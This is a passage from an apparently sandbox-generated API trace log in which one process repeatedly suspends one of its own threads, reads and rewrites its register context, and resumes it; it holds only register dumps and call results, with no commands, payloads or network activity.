FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0129.246] ResumeThread (hThread=0x130) returned 0x1
[0129.246] CloseHandle (hObject=0x130) returned 1
[0129.246] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0129.288] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0129.330] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0129.330] SuspendThread (hThread=0x130) returned 0x0
[0129.330] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020d1a0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1660000, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0129.332] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020d198, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0129.332] ResumeThread (hThread=0x130) returned 0x1
[0129.332] CloseHandle (hObject=0x130) returned 1
[0129.332] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0129.378] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0129.453] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0129.453] SuspendThread (hThread=0x130) returned 0x0
[0129.453] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020d1a0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1663fff, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0129.454] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00020d198, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0129.454] ResumeThread (hThread=0x130) returned 0x1
[0129.454] CloseHandle (hObject=0x130) returned 1
[0129.454] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0129.495] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0129.536] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0129.536] SuspendThread (hThread=0x130) returned 0x0
